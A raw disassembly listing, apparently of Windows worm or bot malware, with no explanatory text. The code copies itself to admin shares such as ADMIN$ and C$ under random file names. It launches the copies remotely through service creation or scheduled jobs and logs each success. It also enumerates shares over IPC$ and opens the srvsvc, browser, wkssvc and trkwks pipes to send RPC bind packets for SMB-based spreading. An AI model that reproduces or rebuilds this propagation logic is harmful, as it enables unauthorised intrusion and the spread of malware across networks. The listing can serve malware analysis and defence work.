var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_CC		= dword	ptr  0D4h
arg_D4		= dword	ptr  0DCh
arg_DC		= dword	ptr  0E4h

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		push	edi
		call	sub_41F76B
		xor	ebx, ebx
		push	20h
		lea	eax, [ebp+var_FC]
		push	ebx
		push	eax
		call	sub_4221F0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		mov	[ebp+var_E8], eax
		lea	eax, [ebp+var_FC]
		push	ebx
		mov	[ebp+var_F8], 1
		push	[ebp+arg_0]
		mov	[ebp+var_EC], ebx
		mov	[ebp+var_E0], ebx
		push	[ebp+arg_4]
		push	eax
		call	dword_4543BC
		test	eax, eax
		jnz	loc_4135D4
		mov	[ebp+var_DC], offset byte_44D6A4
		mov	[ebp+var_D8], offset aAdmin_1 ;	"ADMIN$"
		mov	[ebp+var_D4], offset aIpc ; "IPC$"
		mov	[ebp+var_D0], offset aPrint ; "PRINT$"
		mov	[ebp+var_CC], offset aS_7 ; "S$"
		mov	[ebp+var_C8], offset aNetlogon ; "NETLOGON$"
		mov	[ebp+var_C4], offset aB_1 ; "B$"
		mov	[ebp+var_C0], offset aC_1 ; "C$"
		mov	[ebp+var_BC], offset aD_0 ; "D$"
		mov	[ebp+var_B8], offset aE_1 ; "E$"
		mov	[ebp+var_B4], offset aF_0 ; "F$"
		mov	[ebp+var_B0], offset aG_0 ; "G$"
		mov	[ebp+var_AC], offset asc_43D800	; "H$"
		mov	[ebp+var_A8], offset aI_2 ; "I$"
		mov	[ebp+var_A4], offset aJ_0 ; "J$"
		mov	[ebp+var_A0], offset aK_1 ; "K$"
		mov	[ebp+var_9C], offset asc_43D7F0	; "L$"
		mov	[ebp+var_98], offset aM_3 ; "M$"
		mov	[ebp+var_94], offset aN_1 ; "N$"
		mov	[ebp+var_90], offset aO_1 ; "O$"
		mov	[ebp+var_8C], offset aP_4 ; "P$"
		mov	[ebp+var_88], offset aQ_1 ; "Q$"
		mov	[ebp+var_84], offset aR_0 ; "R$"
		mov	[ebp+var_80], offset aT_0 ; "T$"
		mov	[ebp+var_7C], offset aU_1 ; "U$"
		mov	[ebp+var_78], offset aV_1 ; "V$"
		mov	[ebp+var_74], offset aW_0 ; "W$"
		mov	[ebp+var_70], offset asc_43D7C8	; "X$"
		mov	[ebp+var_6C], offset aY_0 ; "Y$"
		mov	[ebp+var_68], offset aZ_4 ; "Z$"
		mov	[ebp+var_64], offset aCWindows ; "C:\\WINDOWS$"
		mov	[ebp+var_60], offset aGuest ; "GUEST$"
		mov	[ebp+var_5C], offset aCWinnt ; "C:\\WINNT$"
		mov	[ebp+var_58], offset aCWinntSystem32 ; "C:\\WINNT\\system32$"
		mov	[ebp+var_54], offset aCWindowsSystem ; "C:\\WINDOWS\\system32$"
		mov	[ebp+var_50], offset aDWinnt ; "D:\\WINNT$"
		mov	[ebp+var_4C], offset aDWindows ; "D:\\WINDOWS$"
		mov	[ebp+var_48], offset aSeclogon ; "SECLOGON$"
		mov	[ebp+var_44], offset aSystem_1 ; "SYSTEM$"
		mov	[ebp+var_40], offset aWindows_0	; "WINDOWS$"
		mov	[ebp+var_3C], offset aWinnt_0 ;	"WINNT$"
		mov	[ebp+var_38], offset aSql_0 ; "SQL$"
		mov	[ebp+var_34], offset aMysql_0 ;	"MYSQL$"
		mov	[ebp+var_30], offset aMssql_0 ;	"MSSQL$"
		mov	[ebp+var_2C], offset aIis ; "IIS$"
		mov	[ebp+var_28], offset aDrivec ; "drivec$"
		mov	[ebp+var_24], offset aFtp_0 ; "FTP$"
		mov	[ebp+var_20], offset aDownloads	; "DOWNLOADS$"
		mov	[ebp+var_1C], offset aSysvol ; "SYSVOL$"
		mov	[ebp+var_18], offset aLpt1 ; "LPT1$"
		mov	[ebp+var_14], offset aSita ; "SITA$"
		mov	[ebp+var_10], offset aClients ;	"clients$"
		mov	[ebp+var_C], ebx
		call	sub_4220FC
		push	9
		pop	edi
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		push	offset loc_43903C
		mov	esi, offset aSDDDDD_exe	; "%s%d%d%d%d%d.exe"
		lea	eax, [ebp+var_300]
		push	esi
		push	eax
		call	sub_422063
		add	esp, 20h
		lea	eax, [ebp+var_404]
		push	104h
		push	eax
		push	ebx
		call	dword_42F074	; GetModuleHandleA
		push	eax
		call	dword_42F154	; GetModuleFileNameA
		mov	[ebp+var_4], ebx
		mov	ebx, offset aSSS_1 ; "%s\\%s\\%s"


loc_41336F:				; CODE XREF: sub_4130E5+3ACj
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_300]
		push	ecx
		mov	eax, [ebp+eax*4+var_DC]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	ebx
		push	eax
		call	sub_422063
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	dword_42F0A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4133B8
		lea	eax, [ebp+var_200]
		push	80h
		push	eax
		call	dword_42F08C	; SetFileAttributesA


loc_4133B8:				; CODE XREF: sub_4130E5+2BFj
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_42F09C	; CopyFileA
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	loc_4134A1
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	loc_41348A
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_424450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41348A
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		lea	eax, [ebp+var_300]
		push	edx
		push	offset loc_43903C
		push	esi
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_300]
		push	eax
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_DC]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	ebx
		push	eax
		call	sub_422063
		add	esp, 34h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_42F09C	; CopyFileA
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_4134A1


loc_41348A:				; CODE XREF: sub_4130E5+2FDj
					; sub_4130E5+315j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 35h
		jb	loc_41336F
		cmp	[ebp+var_8], 0
		jz	loc_4135D2


loc_4134A1:				; CODE XREF: sub_4130E5+2EEj
					; sub_4130E5+3A3j
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_300]
		push	ecx
		push	[ebp+arg_4]
		mov	eax, [ebp+eax*4+var_DC]
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		push	eax
		call	sub_412EB7
		add	esp, 14h
		test	eax, eax
		jz	loc_413582
		mov	ebx, offset aSSSSSSCreateds ; "%s %s: -> [%s\\%s, %s/%s] (CreatedServic"...


loc_4134D4:				; CODE XREF: sub_4130E5+4B7j
		cmp	[ebp+arg_DC], 0
		mov	esi, [ebp+arg_CC]
		mov	edi, offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		jz	short loc_413528
		push	offset byte_44D6A4
		push	[ebp+arg_4]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	eax, offset aBlank ; "(Blank)"
		jz	short loc_413503
		mov	eax, [ebp+arg_4]


loc_413503:				; CODE XREF: sub_4130E5+419j
		push	eax
		lea	eax, [esi+esi*8]
		push	[ebp+arg_0]
		lea	eax, ds:432069h[eax*8]
		push	[ebp+var_4]
		push	[ebp+arg_8]
		push	eax
		push	edi
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 24h


loc_413528:				; CODE XREF: sub_4130E5+401j
		cmp	[ebp+arg_D4], 0
		jz	short loc_413571
		push	offset byte_44D6A4
		push	[ebp+arg_4]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	eax, offset aBlank ; "(Blank)"
		jz	short loc_41354C
		mov	eax, [ebp+arg_4]


loc_41354C:				; CODE XREF: sub_4130E5+462j
		push	eax
		lea	eax, [esi+esi*8]
		push	[ebp+arg_0]
		lea	eax, ds:432069h[eax*8]
		push	[ebp+var_4]
		push	[ebp+arg_8]
		push	eax
		push	edi
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 24h


loc_413571:				; CODE XREF: sub_4130E5+44Aj
		lea	eax, [esi+esi*8]
		xor	ebx, ebx
		lea	eax, ds:432090h[eax*8]
		inc	dword ptr [eax]
		inc	ebx
		jmp	short loc_4135D4
; ---------------------------------------------------------------------------


loc_413582:				; CODE XREF: sub_4130E5+3E4j
		lea	eax, [ebp+var_300]
		push	eax
		push	[ebp+arg_8]
		call	sub_413024
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4135A1
		mov	ebx, offset aSSSSSSNetsched ; "%s %s: -> [%s\\%s, %s/%s] (NetSchedJobAd"...
		jmp	loc_4134D4
; ---------------------------------------------------------------------------


loc_4135A1:				; CODE XREF: sub_4130E5+4B0j
		lea	eax, [ebp+var_200]
		push	eax
		call	dword_42F0A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4135C5
		lea	eax, [ebp+var_200]
		push	80h
		push	eax
		call	dword_42F08C	; SetFileAttributesA


loc_4135C5:				; CODE XREF: sub_4130E5+4CCj
		lea	eax, [ebp+var_200]
		push	eax
		call	dword_42F088	; DeleteFileA


loc_4135D2:				; CODE XREF: sub_4130E5+3B6j
		xor	ebx, ebx


loc_4135D4:				; CODE XREF: sub_4130E5+5Aj
					; sub_4130E5+49Bj
		push	1
		push	1
		push	[ebp+arg_8]
		call	dword_454374
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn
sub_4130E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135E8	proc near		; CODE XREF: .text:00413779p
					; .text:004137F6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	off_43C950, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_413636
		mov	eax, offset off_43C950
		mov	ebx, eax


loc_4135FE:				; CODE XREF: sub_4135E8+4Cj
		sub	esp, 0D0h
		lea	esi, [ebp+arg_10]
		push	34h
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_C]
		rep movsd
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	sub_4130E5
		add	esp, 0E4h
		cmp	eax, 1
		jz	short loc_41363D
		add	ebx, 4
		mov	eax, ebx
		cmp	dword ptr [ebx], 0
		jnz	short loc_4135FE


loc_413636:				; CODE XREF: sub_4135E8+Dj
		xor	eax, eax


loc_413638:				; CODE XREF: sub_4135E8+58j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41363D:				; CODE XREF: sub_4135E8+42j
		xor	eax, eax
		inc	eax
		jmp	short loc_413638
sub_4135E8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 62Ch
		push	ebx
		push	esi
		lea	eax, [ebp+10h]
		push	edi
		push	eax
		lea	eax, [ebp-30h]
		xor	ebx, ebx
		push	offset aS_8	; "\\\\%s"
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-14h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-18h], ebx
		call	sub_422063
		add	esp, 0Ch
		lea	eax, [ebp-62Ch]
		push	3E8h
		push	eax
		lea	eax, [ebp-30h]
		push	0FFFFFFFFh
		push	eax
		push	ebx
		push	ebx
		call	dword_42F098	; MultiByteToWideChar
		lea	eax, [ebp-30h]
		mov	[ebp-40h], ebx
		push	eax
		lea	eax, [ebp-118h]
		push	offset aSIpc	; "%s\\IPC$"
		push	eax
		mov	[ebp-34h], ebx
		mov	[ebp-4Ch], ebx
		call	sub_422063
		lea	eax, [ebp-118h]
		add	esp, 0Ch
		mov	[ebp-3Ch], eax
		mov	eax, offset byte_44D6A4
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp-50h]
		push	eax
		call	dword_4543BC
		test	eax, eax
		jz	short loc_4136E2
		push	1
		lea	eax, [ebp-118h]
		push	ebx
		push	eax
		call	dword_454374
		xor	eax, eax
		jmp	loc_413816
; ---------------------------------------------------------------------------


loc_4136E2:				; CODE XREF: .text:004136C9j
					; .text:004137B0j
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-4]
		push	0FFFFFFFFh
		push	eax
		push	2
		lea	eax, [ebp-62Ch]
		push	ebx
		push	eax
		call	dword_45425C
		mov	[ebp-0Ch], eax
		push	1
		lea	eax, [ebp-118h]
		push	ebx
		push	eax
		call	dword_454374
		cmp	[ebp-0Ch], ebx
		jz	short loc_413725
		cmp	dword ptr [ebp-0Ch], 0EAh
		jnz	short loc_413798


loc_413725:				; CODE XREF: .text:0041371Aj
		mov	eax, [ebp-4]
		cmp	eax, ebx
		mov	[ebp-10h], eax
		jz	short loc_4137A9
		cmp	[ebp-14h], ebx
		mov	[ebp-8], ebx
		jbe	short loc_413798


loc_413737:				; CODE XREF: .text:00413796j
		mov	eax, [ebp-10h]
		cmp	eax, ebx
		jz	short loc_413798
		push	ebx
		push	ebx
		lea	ecx, [ebp-244h]
		push	12Ch
		push	ecx
		push	0FFFFFFFFh
		push	dword ptr [eax]
		push	ebx
		push	ebx
		call	dword_42F0A4	; WideCharToMultiByte
		sub	esp, 0D0h
		lea	eax, [ebp-30h]
		lea	esi, [ebp+10h]
		push	34h
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+0Ch]
		rep movsd
		push	dword ptr [ebp+8]
		push	eax
		lea	eax, [ebp-244h]
		push	eax
		call	sub_4135E8
		add	esp, 0E0h
		cmp	eax, 1
		jz	short loc_413798
		add	dword ptr [ebp-10h], 4
		inc	dword ptr [ebp-8]
		mov	eax, [ebp-8]
		cmp	eax, [ebp-14h]
		jb	short loc_413737


loc_413798:				; CODE XREF: .text:00413723j
					; .text:00413735j ...
		cmp	[ebp-4], ebx
		jz	short loc_4137A9
		push	dword ptr [ebp-4]
		call	dword_4543A0
		mov	[ebp-4], ebx


loc_4137A9:				; CODE XREF: .text:0041372Dj
					; .text:0041379Bj
		cmp	dword ptr [ebp-0Ch], 0EAh
		jz	loc_4136E2
		cmp	[ebp-4], ebx
		jz	short loc_4137C4
		push	dword ptr [ebp-4]
		call	dword_4543A0


loc_4137C4:				; CODE XREF: .text:004137B9j
		cmp	dword ptr [ebp-0Ch], 5
		jnz	short loc_413813
		cmp	off_43C880, ebx
		jz	short loc_413813
		mov	eax, offset off_43C880
		mov	[ebp-8], eax


loc_4137DA:				; CODE XREF: .text:00413811j
		sub	esp, 0D0h
		lea	esi, [ebp+10h]
		push	34h
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+0Ch]
		rep movsd
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-30h]
		push	ecx
		push	dword ptr [eax]
		call	sub_4135E8
		add	esp, 0E0h
		cmp	eax, 1
		jz	short loc_413813
		mov	eax, [ebp-8]
		add	eax, 4
		mov	[ebp-8], eax
		cmp	[eax], ebx
		jnz	short loc_4137DA


loc_413813:				; CODE XREF: .text:004137C8j
					; .text:004137D0j ...
		xor	eax, eax
		inc	eax


loc_413816:				; CODE XREF: .text:004136DDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41381B:				; DATA XREF: .text:00432010o
		jmp	$+5
		mov	eax, dword_43D884
		add	eax, 6
		mov	dword_455A9C, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41382E	proc near		; CODE XREF: sub_41382E+D0p
					; sub_41391C+666p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_413842
		or	[ebp+arg_7], 1
		jmp	short loc_413846
; ---------------------------------------------------------------------------


loc_413842:				; CODE XREF: sub_41382E+Cj
		and	[ebp+arg_7], 0FEh


loc_413846:				; CODE XREF: sub_41382E+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_41386A
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_41387C
; ---------------------------------------------------------------------------


loc_41386A:				; CODE XREF: sub_41382E+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_41387C:				; CODE XREF: sub_41382E+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_422F79
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_413915
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_4223F0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_42F07C	; WriteFile
		test	eax, eax
		jz	short loc_41390C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_41390C
		push	[ebp+arg_20]
		call	sub_4230B3
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_413908
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_41382E
		add	esp, 2Ch
		jmp	short loc_413917
; ---------------------------------------------------------------------------


loc_413908:				; CODE XREF: sub_41382E+B3j
		mov	al, 1
		jmp	short loc_413917
; ---------------------------------------------------------------------------


loc_41390C:				; CODE XREF: sub_41382E+9Cj
					; sub_41382E+A4j
		push	[ebp+arg_20]
		call	sub_4230B3
		pop	ecx


loc_413915:				; CODE XREF: sub_41382E+61j
		xor	al, al


loc_413917:				; CODE XREF: sub_41382E+D8j
					; sub_41382E+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41382E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41391C	proc near		; CODE XREF: .text:00414084p

var_60E0	= byte ptr -60E0h
var_40E0	= byte ptr -40E0h
var_20E0	= byte ptr -20E0h
var_E0		= byte ptr -0E0h
var_DC		= byte ptr -0DCh
var_DB		= byte ptr -0DBh
var_DA		= byte ptr -0DAh
var_D9		= byte ptr -0D9h
var_D8		= dword	ptr -0D8h
var_D4		= word ptr -0D4h
var_D2		= word ptr -0D2h
var_D0		= dword	ptr -0D0h
var_CC		= word ptr -0CCh
var_CA		= word ptr -0CAh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= word ptr -0C0h
var_BE		= byte ptr -0BEh
var_BC		= byte ptr -0BCh
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= word ptr -84h
var_80		= byte ptr -80h
var_70		= dword	ptr -70h
var_6C		= qword	ptr -6Ch
var_64		= byte ptr -64h
var_50		= dword	ptr -50h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_42		= byte ptr -42h
var_41		= byte ptr -41h
var_40		= dword	ptr -40h
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_8		= byte ptr  10h
arg_C0		= dword	ptr  0C8h
arg_D8		= dword	ptr  0E0h

		push	ebp
		mov	ebp, esp
		mov	eax, 60E0h
		call	sub_4220C0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		push	offset a__0	; "."
		push	eax
		call	sub_424380
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		mov	edi, offset byte_44D6A4
		mov	esi, 2000h
		jz	short loc_413986
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipe	; "\\\\%s\\pipe"
		lea	eax, [ebp+var_20E0]
		push	esi
		push	eax
		call	sub_42219B
		push	20h
		lea	eax, [ebp+var_64]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 1Ch
		lea	eax, [ebp+var_20E0]
		mov	[ebp+var_50], eax
		lea	eax, [ebp+var_64]
		push	ebx
		push	edi
		push	edi
		push	eax
		call	sub_421C72


loc_413986:				; CODE XREF: sub_41391C+2Ej
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeSrvsvc ; "\\\\%s\\pipe\\srvsvc"
		lea	eax, [ebp+var_40E0]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 10h
		lea	eax, [ebp+var_40E0]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_42F060	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	dword ptr [ebp+var_C+4], eax
		jnz	loc_413B78
		lea	eax, [ebp+arg_8]
		push	offset a__0	; "."
		push	eax
		call	sub_424380
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413A16
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipe	; "\\\\%s\\pipe"
		lea	eax, [ebp+var_20E0]
		push	esi
		push	eax
		call	sub_42219B
		push	20h
		lea	eax, [ebp+var_64]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 1Ch
		lea	eax, [ebp+var_20E0]
		mov	[ebp+var_50], eax
		lea	eax, [ebp+var_64]
		push	ebx
		push	edi
		push	edi
		push	eax
		call	sub_421C72


loc_413A16:				; CODE XREF: sub_41391C+BEj
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeBrowser_0 ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp+var_40E0]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 10h
		lea	eax, [ebp+var_40E0]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_42F060	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	dword ptr [ebp+var_C+4], eax
		jnz	loc_413B78
		lea	eax, [ebp+arg_8]
		push	offset a__0	; "."
		push	eax
		call	sub_424380
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413AA6
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipe	; "\\\\%s\\pipe"
		lea	eax, [ebp+var_20E0]
		push	esi
		push	eax
		call	sub_42219B
		push	20h
		lea	eax, [ebp+var_64]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 1Ch
		lea	eax, [ebp+var_20E0]
		mov	[ebp+var_50], eax
		lea	eax, [ebp+var_64]
		push	ebx
		push	edi
		push	edi
		push	eax
		call	sub_421C72


loc_413AA6:				; CODE XREF: sub_41391C+14Ej
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc"
		lea	eax, [ebp+var_40E0]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 10h
		lea	eax, [ebp+var_40E0]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_42F060	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	dword ptr [ebp+var_C+4], eax
		jnz	loc_413B78
		lea	eax, [ebp+arg_8]
		push	offset a__0	; "."
		push	eax
		call	sub_424380
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413B36
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset loc_438FF8
		lea	eax, [ebp+var_20E0]
		push	esi
		push	eax
		call	sub_42219B
		push	20h
		lea	eax, [ebp+var_64]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 1Ch
		lea	eax, [ebp+var_20E0]
		mov	[ebp+var_50], eax
		lea	eax, [ebp+var_64]
		push	ebx
		push	edi
		push	edi
		push	eax
		call	sub_421C72


loc_413B36:				; CODE XREF: sub_41391C+1DEj
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeTrkwks ; "\\\\%s\\pipe\\trkwks"
		lea	eax, [ebp+var_40E0]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 10h
		lea	eax, [ebp+var_40E0]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_42F060	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	dword ptr [ebp+var_C+4], eax
		jz	loc_41403F


loc_413B78:				; CODE XREF: sub_41391C+A6j
					; sub_41391C+136j ...
		push	48h
		lea	eax, [ebp+var_DC]
		push	ebx
		push	eax
		call	sub_4221F0
		push	10h
		xor	edi, edi
		pop	eax
		inc	edi
		mov	[ebp+var_D8], eax
		push	eax
		lea	eax, [ebp+var_BC]
		push	offset dword_43C858
		push	eax
		mov	[ebp+var_DC], 5
		mov	[ebp+var_DB], bl
		mov	[ebp+var_DA], 0Bh
		mov	[ebp+var_D9], 3
		mov	[ebp+var_D4], 48h
		mov	[ebp+var_D2], bx
		mov	[ebp+var_D0], ebx
		mov	[ebp+var_CC], 10B8h
		mov	[ebp+var_CA], 10B8h
		mov	[ebp+var_C8], ebx
		mov	[ebp+var_C4], edi
		mov	[ebp+var_C0], bx
		mov	[ebp+var_BE], 1
		call	sub_4223F0
		push	10h
		lea	eax, [ebp+var_A8]
		push	offset dword_43C844
		push	eax
		mov	[ebp+var_AC], 3
		call	sub_4223F0
		add	esp, 24h
		lea	eax, [ebp+var_E0]
		mov	[ebp+var_98], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	48h
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_42F07C	; WriteFile
		test	eax, eax
